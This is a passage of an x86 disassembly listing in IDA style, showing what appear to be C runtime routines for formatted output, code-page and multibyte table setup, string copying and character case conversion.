[ebp+var_28], 1 jmp short loc_420254 ; --------------------------------------------------------------------------- loc_42022B: ; CODE XREF: sub_41FF3F+1FBj sub eax, 5Ah jz short loc_420262 sub eax, 9 jz short loc_4201FA dec eax jz loc_420424 jmp loc_420549 ; --------------------------------------------------------------------------- loc_420241: ; CODE XREF: sub_41FF3F+2C5j call sub_42071E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_420254: ; CODE XREF: sub_41FF3F+2E1j ; sub_41FF3F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_420549 ; --------------------------------------------------------------------------- loc_420262: ; CODE XREF: sub_41FF3F+2EFj lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx jz short loc_4202A3 mov ecx, [eax+4] test ecx, ecx jz short loc_4202A3 test byte ptr [ebp+var_4+1], 8 jz short loc_420294 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_420294: ; CODE XREF: sub_41FF3F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_420546 ; --------------------------------------------------------------------------- loc_4202A3: ; CODE XREF: sub_41FF3F+32Fj ; sub_41FF3F+336j mov eax, off_43D090 mov [ebp+var_8], eax push eax jmp loc_42033F ; --------------------------------------------------------------------------- loc_4202B1: ; CODE XREF: sub_41FF3F+29Dj jnz short loc_4202BF cmp bl, 67h jnz short loc_4202BF mov [ebp+var_10], 1 loc_4202BF: ; CODE XREF: sub_41FF3F+2AAj ; sub_41FF3F:loc_4202B1j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43D420 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_420311 cmp [ebp+var_10], 0 jnz short loc_420311 lea eax, [ebp+var_248] push eax call off_43D42C pop ecx loc_420311: ; CODE XREF: sub_41FF3F+3BCj ; sub_41FF3F+3C2j cmp bl, 67h jnz short loc_420328 test esi, esi jnz short loc_420328 lea eax, [ebp+var_248] push eax call off_43D424 pop ecx loc_420328: ; CODE XREF: sub_41FF3F+3D5j ; sub_41FF3F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_42033E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_42033E: ; CODE XREF: sub_41FF3F+3F0j push edi loc_42033F: ; CODE XREF: sub_41FF3F+36Dj call sub_41B9C0 pop ecx jmp loc_420546 ; --------------------------------------------------------------------------- loc_42034A: ; CODE XREF: sub_41FF3F+1E9j sub eax, 69h jz loc_420424 sub eax, 5 jz loc_4203FA dec eax jz loc_4203E7 dec eax jz short loc_4203B7 sub eax, 3 jz loc_42016C dec eax dec eax jz loc_420428 sub eax, 3 jnz loc_420549 mov [ebp+var_2C], 27h jmp short loc_4203C5 ; --------------------------------------------------------------------------- loc_420389: ; CODE XREF: sub_41FF3F+270j ; sub_41FF3F+27Aj sub eax, ecx sar eax, 1 jmp loc_420546 ; --------------------------------------------------------------------------- loc_420392: ; CODE XREF: sub_41FF3F+24Fj test ecx, ecx jnz short loc_42039F mov ecx, off_43D090 mov [ebp+var_8], ecx loc_42039F: ; CODE XREF: sub_41FF3F+455j mov eax, ecx loc_4203A1: ; CODE XREF: sub_41FF3F+46Fj mov edx, esi dec esi test edx, edx jz short loc_4203B0 cmp byte ptr [eax], 0 jz short loc_4203B0 inc eax jmp short loc_4203A1 ; --------------------------------------------------------------------------- loc_4203B0: ; CODE XREF: sub_41FF3F+467j ; sub_41FF3F+46Cj sub eax, ecx jmp loc_420546 ; --------------------------------------------------------------------------- loc_4203B7: ; CODE XREF: sub_41FF3F+425j mov [ebp+var_10], 8 loc_4203BE: ; CODE XREF: sub_41FF3F+201j mov [ebp+var_2C], 7 loc_4203C5: ; CODE XREF: sub_41FF3F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_42042F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_42042F ; --------------------------------------------------------------------------- loc_4203E7: ; CODE XREF: sub_41FF3F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_42042F or byte ptr [ebp+var_4+1], 2 jmp short loc_42042F ; --------------------------------------------------------------------------- loc_4203FA: ; CODE XREF: sub_41FF3F+417j lea eax, [ebp+arg_8] push eax call sub_42071E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_420413 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_420418 ; --------------------------------------------------------------------------- loc_420413: ; CODE XREF: sub_41FF3F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_420418: ; CODE XREF: sub_41FF3F+4D2j mov [ebp+var_28], 1 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420424: ; CODE XREF: sub_41FF3F+2F7j ; sub_41FF3F+40Ej or [ebp+var_4], 40h loc_420428: ; CODE XREF: sub_41FF3F+432j mov [ebp+var_C], 0Ah loc_42042F: ; CODE XREF: sub_41FF3F+491j ; sub_41FF3F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_420441 lea eax, [ebp+arg_8] push eax call sub_42072B pop ecx jmp short loc_420482 ; --------------------------------------------------------------------------- loc_420441: ; CODE XREF: sub_41FF3F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_420468 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42045D call sub_42071E pop ecx movsx eax, ax loc_42045A: ; CODE XREF: sub_41FF3F+527j ; sub_41FF3F+539j cdq jmp short loc_420482 ; --------------------------------------------------------------------------- loc_42045D: ; CODE XREF: sub_41FF3F+510j call sub_42071E pop ecx movzx eax, ax jmp short loc_42045A ; --------------------------------------------------------------------------- loc_420468: ; CODE XREF: sub_41FF3F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42047A call sub_42071E pop ecx jmp short loc_42045A ; --------------------------------------------------------------------------- loc_42047A: ; CODE XREF: sub_41FF3F+531j call sub_42071E pop ecx xor edx, edx loc_420482: ; CODE XREF: sub_41FF3F+500j ; sub_41FF3F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4204A3 test edx, edx jg short loc_4204A3 jl short loc_420492 test eax, eax jnb short loc_4204A3 loc_420492: ; CODE XREF: sub_41FF3F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4204A7 ; --------------------------------------------------------------------------- loc_4204A3: ; CODE XREF: sub_41FF3F+547j ; sub_41FF3F+54Bj ... mov esi, eax mov edi, edx loc_4204A7: ; CODE XREF: sub_41FF3F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4204B0 and edi, 0 loc_4204B0: ; CODE XREF: sub_41FF3F+56Cj cmp [ebp+var_10], 0 jge short loc_4204BF mov [ebp+var_10], 1 jmp short loc_4204C3 ; --------------------------------------------------------------------------- loc_4204BF: ; CODE XREF: sub_41FF3F+575j and [ebp+var_4], 0FFFFFFF7h loc_4204C3: ; CODE XREF: sub_41FF3F+57Ej mov eax, esi or eax, edi jnz short loc_4204CD and [ebp+var_1C], 0 loc_4204CD: ; CODE XREF: sub_41FF3F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4204D3: ; CODE XREF: sub_41FF3F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_4204E3 mov eax, esi or eax, edi jz short loc_42051E loc_4204E3: ; CODE XREF: sub_41FF3F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41DD20 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41DCB0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_420514 add ebx, [ebp+var_2C] loc_420514: ; CODE XREF: sub_41FF3F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4204D3 ; --------------------------------------------------------------------------- loc_42051E: ; CODE XREF: sub_41FF3F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_420549 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_42053C test eax, eax jnz short loc_420549 loc_42053C: ; CODE XREF: sub_41FF3F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_420546: ; CODE XREF: sub_41FF3F+35Fj ; sub_41FF3F+406j ... mov [ebp+var_C], eax loc_420549: ; CODE XREF: sub_41FF3F+21Bj ; sub_41FF3F+2FDj ... cmp [ebp+var_28], 0 jnz loc_420647 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_420581 test bh, 1 jz short loc_420566 mov [ebp+var_16], 2Dh jmp short loc_42057A ; --------------------------------------------------------------------------- loc_420566: ; CODE XREF: sub_41FF3F+61Fj test bl, 1 jz short loc_420571 mov [ebp+var_16], 2Bh jmp short loc_42057A ; --------------------------------------------------------------------------- loc_420571: ; CODE XREF: sub_41FF3F+62Aj test bl, 2 jz short loc_420581 mov [ebp+var_16], 20h loc_42057A: ; CODE XREF: sub_41FF3F+625j ; sub_41FF3F+630j mov [ebp+var_1C], 1 loc_420581: ; CODE XREF: sub_41FF3F+61Aj ; sub_41FF3F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_4205A1 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4206B5 add esp, 10h loc_4205A1: ; CODE XREF: sub_41FF3F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_4206E6 add esp, 10h test bl, 8 jz short loc_4205D3 test bl, 4 jnz short loc_4205D3 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4206B5 add esp, 10h loc_4205D3: ; CODE XREF: sub_41FF3F+67Bj ; sub_41FF3F+680j cmp [ebp+var_24], 0 jz short loc_42061A cmp [ebp+var_C], 0 jle short loc_42061A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_4205E8: ; CODE XREF: sub_41FF3F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_424663 pop ecx test eax, eax pop ecx jle short loc_42062F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_4206E6 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_4205E8 jmp short loc_42062F ; --------------------------------------------------------------------------- loc_42061A: ; CODE XREF: sub_41FF3F+698j ; sub_41FF3F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_4206E6 add esp, 10h loc_42062F: ; CODE XREF: sub_41FF3F+6BCj ; sub_41FF3F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_420647 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4206B5 add esp, 10h loc_420647: ; CODE XREF: sub_41FF3F+68j ; sub_41FF3F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41FF6B loc_420658: ; CODE XREF: sub_41FF3F+1Fj ; sub_41FF3F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41FF3F endp ; --------------------------------------------------------------------------- off_420660 dd offset loc_4200DE ; DATA XREF: sub_41FF3F+6Er dd offset loc_41FFB4 ; jump table for switch statement dd offset loc_41FFCF dd offset loc_42001B dd offset loc_420052 dd offset loc_42005A dd offset loc_42008F dd offset loc_420122 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420680 proc near ; CODE XREF: sub_41FF3F+1BDp ; sub_41FF3F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_420699 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4206A4 ; --------------------------------------------------------------------------- loc_420699: ; CODE XREF: sub_420680+9j push ecx push [ebp+arg_0] call sub_41FE2A pop ecx pop ecx loc_4206A4: ; CODE XREF: sub_420680+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4206B1 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4206B1: ; CODE XREF: sub_420680+2Aj inc dword ptr [eax] pop ebp retn sub_420680 endp ; =============== S U B R O U T I N E ======================================= sub_4206B5 proc near ; CODE XREF: sub_41FF3F+65Ap ; sub_41FF3F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_4206E3 mov esi, [esp+8+arg_C] loc_4206C6: ; CODE XREF: sub_4206B5+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_420680 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4206E3 mov eax, edi dec edi test eax, eax jg short loc_4206C6 loc_4206E3: ; CODE XREF: sub_4206B5+Bj ; sub_4206B5+25j pop edi pop esi retn sub_4206B5 endp ; =============== S U B R O U T I N E ======================================= sub_4206E6 proc near ; CODE XREF: sub_41FF3F+670p ; sub_41FF3F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_42071A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_4206FC: ; CODE XREF: sub_4206E6+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_420680 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_42071A mov eax, ebx dec ebx test eax, eax jg short loc_4206FC loc_42071A: ; CODE XREF: sub_4206E6+Cj ; sub_4206E6+2Bj pop edi pop esi pop ebx retn sub_4206E6 endp ; =============== S U B R O U T I N E ======================================= sub_42071E proc near ; CODE XREF: sub_41FF3F+E5p ; sub_41FF3F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_42071E endp ; =============== S U B R O U T I N E ======================================= sub_42072B proc near ; CODE XREF: sub_41FF3F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_42072B endp ; =============== S U B R O U T I N E ======================================= sub_42073B proc near ; CODE XREF: sub_41FF3F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_42073B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420749 proc near ; CODE XREF: sub_420B0D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_4208E2 ; GetOEMCP mov esi, eax pop ecx cmp esi, dword_4DD144 mov [ebp+arg_0], esi jz loc_4208D6 xor ebx, ebx cmp esi, ebx jz loc_4208CC xor edx, edx mov eax, offset dword_43D0A0 loc_42077D: ; CODE XREF: sub_420749+41j cmp [eax], esi jz short loc_4207F3 add eax, 30h inc edx cmp eax, offset dword_43D190 jl short loc_42077D lea eax, [ebp+var_18] push eax push esi call dword_42705C ; GetCPInfo cmp eax, 1 jnz loc_4208C4 push 40h xor eax, eax pop ecx mov edi, offset byte_4DD260 cmp [ebp+var_18], 1 mov dword_4DD144, esi rep stosd stosb mov dword_4DD364, ebx jbe loc_4208B2 cmp [ebp+var_12], 0 jz loc_420888 lea ecx, [ebp+var_11] loc_4207D0: ; CODE XREF: sub_420749+139j mov dl, [ecx] test dl, dl jz loc_420888 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_4207E1: ; CODE XREF: sub_420749+A8j cmp eax, edx ja loc_42087C or byte_4DD261[eax], 4 inc eax jmp short loc_4207E1 ; --------------------------------------------------------------------------- loc_4207F3: ; CODE XREF: sub_420749+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DD260 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43D0B0[esi] loc_42080F: ; CODE XREF: sub_420749+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_420842 loc_420816: ; CODE XREF: sub_420749+F7j mov dl, [ecx+1] test dl, dl jz short loc_420842 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_42083B mov edx, [ebp+var_4] mov dl, byte_43D098[edx] loc_420830: ; CODE XREF: sub_420749+F0j or byte_4DD261[eax], dl inc eax cmp eax, edi jbe short loc_420830 loc_42083B: ; CODE XREF: sub_420749+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_420816 loc_420842: ; CODE XREF: sub_420749+CBj ; sub_420749+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_42080F mov eax, [ebp+arg_0] mov dword_4DD15C, 1 push eax mov dword_4DD144, eax call sub_42092C lea esi, dword_43D0A4[esi] mov edi, offset dword_4DD150 movsd movsd pop ecx mov dword_4DD364, eax movsd jmp short loc_4208D1 ; --------------------------------------------------------------------------- loc_42087C: ; CODE XREF: sub_420749+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_4207D0 loc_420888: ; CODE XREF: sub_420749+7Ej ; sub_420749+8Bj push 1 pop eax loc_42088B: ; CODE XREF: sub_420749+14Fj or byte_4DD261[eax], 8 inc eax cmp eax, 0FFh jb short loc_42088B push esi call sub_42092C pop ecx mov dword_4DD364, eax mov dword_4DD15C, 1 jmp short loc_4208B8 ; --------------------------------------------------------------------------- loc_4208B2: ; CODE XREF: sub_420749+74j mov dword_4DD15C, ebx loc_4208B8: ; CODE XREF: sub_420749+167j xor eax, eax mov edi, offset dword_4DD150 stosd stosd stosd jmp short loc_4208D1 ; --------------------------------------------------------------------------- loc_4208C4: ; CODE XREF: sub_420749+51j cmp dword_4DBE4C, ebx jz short loc_4208DA loc_4208CC: ; CODE XREF: sub_420749+27j call sub_42095F loc_4208D1: ; CODE XREF: sub_420749+131j ; sub_420749+179j call sub_420988 loc_4208D6: ; CODE XREF: sub_420749+1Dj xor eax, eax jmp short loc_4208DD ; --------------------------------------------------------------------------- loc_4208DA: ; CODE XREF: sub_420749+181j or eax, 0FFFFFFFFh loc_4208DD: ; CODE XREF: sub_420749+18Fj pop edi pop esi pop ebx leave retn sub_420749 endp ; =============== S U B R O U T I N E ======================================= sub_4208E2 proc near ; CODE XREF: sub_420749+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DBE4C, 0 cmp eax, 0FFFFFFFEh jnz short loc_420902 mov dword_4DBE4C, 1 jmp dword_427054 ; --------------------------------------------------------------------------- loc_420902: ; CODE XREF: sub_4208E2+Ej cmp eax, 0FFFFFFFDh jnz short loc_420917 mov dword_4DBE4C, 1 jmp dword_427058 ; --------------------------------------------------------------------------- loc_420917: ; CODE XREF: sub_4208E2+23j cmp eax, 0FFFFFFFCh jnz short locret_42092B mov eax, dword_4DBE94 mov dword_4DBE4C, 1 locret_42092B: ; CODE XREF: sub_4208E2+38j retn sub_4208E2 endp ; =============== S U B R O U T I N E ======================================= sub_42092C proc near ; CODE XREF: sub_420749+118p ; sub_420749+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_420959 sub eax, 4 jz short loc_420953 sub eax, 0Dh jz short loc_42094D dec eax jz short loc_420947 xor eax, eax retn ; --------------------------------------------------------------------------- loc_420947: ; CODE XREF: sub_42092C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_42094D: ; CODE XREF: sub_42092C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_420953: ; CODE XREF: sub_42092C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_420959: ; CODE XREF: sub_42092C+9j mov eax, 411h retn sub_42092C endp ; =============== S U B R O U T I N E ======================================= sub_42095F proc near ; CODE XREF: sub_420749:loc_4208CCp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DD260 rep stosd stosb xor eax, eax mov edi, offset dword_4DD150 mov dword_4DD144, eax mov dword_4DD15C, eax mov dword_4DD364, eax stosd stosd stosd pop edi retn sub_42095F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420988 proc near ; CODE XREF: sub_420749:loc_4208D1p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DD144 call dword_42705C ; GetCPInfo cmp eax, 1 jnz loc_420AC1 xor eax, eax mov esi, 100h loc_4209B2: ; CODE XREF: sub_420988+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_4209B2 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420A03 push ebx push edi lea edx, [ebp+var_D] loc_4209D1: ; CODE XREF: sub_420988+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_4209F8 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_4209F8: ; CODE XREF: sub_420988+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_4209D1 pop edi pop ebx loc_420A03: ; CODE XREF: sub_420988+42j push 0 lea eax, [ebp+var_514] push dword_4DD364 push dword_4DD144 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_4244F4 push 0 lea eax, [ebp+var_214] push dword_4DD144 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DD364 call sub_4232A8 push 0 lea eax, [ebp+var_314] push dword_4DD144 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DD364 call sub_4232A8 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_420A7E: ; CODE XREF: sub_420988+135j mov dx, [ecx] test dl, 1 jz short loc_420A9C or byte_4DD261[eax], 10h mov dl, [ebp+eax+var_214] loc_420A94: ; CODE XREF: sub_420988+127j mov byte_4DD160[eax], dl jmp short loc_420AB8 ; --------------------------------------------------------------------------- loc_420A9C: ; CODE XREF: sub_420988+FCj test dl, 2 jz short loc_420AB1 or byte_4DD261[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_420A94 ; --------------------------------------------------------------------------- loc_420AB1: ; CODE XREF: sub_420988+117j and byte_4DD160[eax], 0 loc_420AB8: ; CODE XREF: sub_420988+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_420A7E jmp short loc_420B0A ; --------------------------------------------------------------------------- loc_420AC1: ; CODE XREF: sub_420988+1Dj xor eax, eax mov esi, 100h loc_420AC8: ; CODE XREF: sub_420988+180j cmp eax, 41h jb short loc_420AE6 cmp eax, 5Ah ja short loc_420AE6 or byte_4DD261[eax], 10h mov cl, al add cl, 20h loc_420ADE: ; CODE XREF: sub_420988+174j mov byte_4DD160[eax], cl jmp short loc_420B05 ; --------------------------------------------------------------------------- loc_420AE6: ; CODE XREF: sub_420988+143j ; sub_420988+148j cmp eax, 61h jb short loc_420AFE cmp eax, 7Ah ja short loc_420AFE or byte_4DD261[eax], 20h mov cl, al sub cl, 20h jmp short loc_420ADE ; --------------------------------------------------------------------------- loc_420AFE: ; CODE XREF: sub_420988+161j ; sub_420988+166j and byte_4DD160[eax], 0 loc_420B05: ; CODE XREF: sub_420988+15Cj inc eax cmp eax, esi jb short loc_420AC8 loc_420B0A: ; CODE XREF: sub_420988+137j pop esi leave retn sub_420988 endp ; =============== S U B R O U T I N E ======================================= sub_420B0D proc near ; CODE XREF: sub_42367B+9p ; sub_4236D3+Dp ... cmp dword_4DD394, 0 jnz short locret_420B28 push 0FFFFFFFDh call sub_420749 pop ecx mov dword_4DD394, 1 locret_420B28: ; CODE XREF: sub_420B0D+7j retn sub_420B0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B29 proc near ; CODE XREF: sub_41C3B1+2Bp ; sub_41C3B1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DD15C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_420B4D push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41BFD0 add esp, 0Ch jmp short loc_420BB0 ; --------------------------------------------------------------------------- loc_420B4D: ; CODE XREF: sub_420B29+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_420B92 mov ecx, [ebp+arg_4] loc_420B58: ; CODE XREF: sub_420B29+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DD261[esi], 4 mov [edi], al jz short loc_420B7C inc edi inc ecx test edx, edx jz short loc_420B88 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_420B8E jmp short loc_420B82 ; --------------------------------------------------------------------------- loc_420B7C: ; CODE XREF: sub_420B29+3Ej inc edi inc ecx test al, al jz short loc_420B92 loc_420B82: ; CODE XREF: sub_420B29+51j test edx, edx jnz short loc_420B58 jmp short loc_420B92 ; --------------------------------------------------------------------------- loc_420B88: ; CODE XREF: sub_420B29+44j and byte ptr [edi-1], 0 jmp short loc_420B92 ; --------------------------------------------------------------------------- loc_420B8E: ; CODE XREF: sub_420B29+4Fj and byte ptr [edi-2], 0 loc_420B92: ; CODE XREF: sub_420B29+2Aj ; sub_420B29+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_420BAD lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_420BAD: ; CODE XREF: sub_420B29+6Fj mov eax, [ebp+arg_0] loc_420BB0: ; CODE XREF: sub_420B29+22j pop edi pop ebp retn sub_420B29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420BB3 proc near ; CODE XREF: sub_41C59D+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBE84, 0 push ebx jnz short loc_420BDE mov eax, [ebp+arg_0] cmp eax, 61h jl loc_420C7C cmp eax, 7Ah jg loc_420C7C sub eax, 20h jmp loc_420C7C ; --------------------------------------------------------------------------- loc_420BDE: ; CODE XREF: sub_420BB3+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420C11 cmp dword_43D084, 1 jle short loc_420BFE push 2 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_420C09 ; --------------------------------------------------------------------------- loc_420BFE: ; CODE XREF: sub_420BB3+3Dj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 2 loc_420C09: ; CODE XREF: sub_420BB3+49j test eax, eax jnz short loc_420C11 loc_420C0D: ; CODE XREF: sub_420BB3+AFj mov eax, ebx jmp short loc_420C7C ; --------------------------------------------------------------------------- loc_420C11: ; CODE XREF: sub_420BB3+34j ; sub_420BB3+58j mov edx, off_43CE78 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420C34 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_420C3D ; --------------------------------------------------------------------------- loc_420C34: ; CODE XREF: sub_420BB3+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_420C3D: ; CODE XREF: sub_420BB3+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_420C0D cmp eax, 1 jnz short loc_420C6F movzx eax, [ebp+var_4] jmp short loc_420C7C ; --------------------------------------------------------------------------- loc_420C6F: ; CODE XREF: sub_420BB3+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_420C7C: ; CODE XREF: sub_420BB3+14j ; sub_420BB3+1Dj ... pop ebx leave retn sub_420BB3 endp ; =============== S U B R O U T I N E ======================================= sub_420C7F proc near ; CODE XREF: sub_41C7BC+1Dp ; sub_41DC5E+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DBDE0, ecx mov eax, offset dword_43D190 loc_420C90: ; CODE XREF: sub_420C7F+1Ej cmp ecx, [eax] jz short loc_420CB4 add eax, 8 inc edx cmp eax, offset dword_43D2F8 jl short loc_420C90 cmp ecx, 13h jb short loc_420CC1 